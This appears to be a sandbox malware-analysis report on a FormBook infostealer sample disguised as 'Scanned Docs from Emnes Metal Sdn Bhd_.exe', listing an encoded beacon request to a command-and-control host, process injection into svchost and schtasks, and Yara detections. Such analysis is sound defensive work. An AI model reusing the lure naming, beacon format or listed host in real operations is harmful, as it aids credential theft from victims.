efM=LugYlboQcaRDj9KEiHyYu1md8sySbXASUzg66kizd/yEwKvpX1qIJHP1lXQDD48mysiowHz2xqylg//5ogRTgblOkhEonYXHfCPWCjtj74+rFVw1NkuEFHxDqyk4P5adgI6SXIC7CMJV5FUJNLKuKmVi8HqW72AzE3mmY/QbltaobntdL/xVfJH0VMPQd1QmXnpGQtmW2ozR64fz5pdyTs/NrGPgn414xuReZgNBjjQFVbzmox0O34hnMXIV16sPmzzhgtE6nrZuGJH0P68KGkSOT4xVMIBRWKKTAhbGw6O3GOLGrbeLMPNIV+lBVh33/80E8SizwUahYgQo8hkR7pqblWNJN6Z6osRid8JCFiv/AvVlyDPw6nxXPmtcR9agnW4D/YzixDyb6mvxiAreonU9/Q1M6O8w+izBpP93oygGGaHT1E0731v1Y1PkN1azMzXsbS3NMnQHT+d+S7Mq4QkPE7C8HTQEhhH3wu8Mtfg0RkYzyQs7Iwg8XjoI0SCUfu4kTDglo6H/XVUEEawAFTWF63eSgD7lQUDFHX81x0bx5isjJD4hg0wa/RFL2W6HftaFy7OiYDIRhvmtKwm2NmrUKj6KUX8sXsQ2QFvzm3aOStKdZL2YrvWgNkjcModhcfu8JspZL31E2sIwLV0/n74LcCI37tZk6Dj1hbxKoNocZAfZkO+rzlQL+cFAcrJ+Jxj8MfVP49Wb8tv/Kgs9BESWSYezc2nk/Xt3zwEEW2yr/1lFx4Lezb19Z0paBYJ5y+GSYQ01mK+1eInwOzS5cMSZuG14/AfToHYMGwMzy/1lH+aRvP0CNJxq/uWXt3OKJbLaaGGK9fODDzHvWe45JMqNocdEG02+aETwN/N1s4jl9hnqhB6qFpGmFKJAM45VjG6g3QdSd01G4H68TZclX7znGdvd5slVt+N3i7N4BfGHfO5e3Xd8C4WsTs1HNg5CQAVLeJvBtWw13ZWPNVBDKJsRXa2xtejNRcNWp0XqMbyVx+vP [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	55446	116.213.43.190	80

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:34:42.658773899 CEST	436	OUT	GET /yxos/?efM=GsI4mtIQVr1bqd+V/1qEiGWG2JWSdng8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR32o8KijRXgfnfSTbVFHsQqIz2A3ZpJ0HUFH4=&GTP=uhqpjxIPh HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31

Target ID:	0
Start time:	09:30:32
Start date:	05/08/2024
Path:	C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe"
Imagebase:	0x280000
File size:	1'261'056 bytes
MD5 hash:	75D0BFD0499F3BB0C94A45A80E92476B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	09:30:33
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe"
Imagebase:	0xc90000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	09:30:54
Start date:	05/08/2024
Path:	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe"
Imagebase:	0x210000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	09:30:56
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\schtasks.exe"
Imagebase:	0x7b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	09:31:09
Start date:	05/08/2024
Path:	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe"
Imagebase:	0x210000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	09:31:21
Start date:	05/08/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true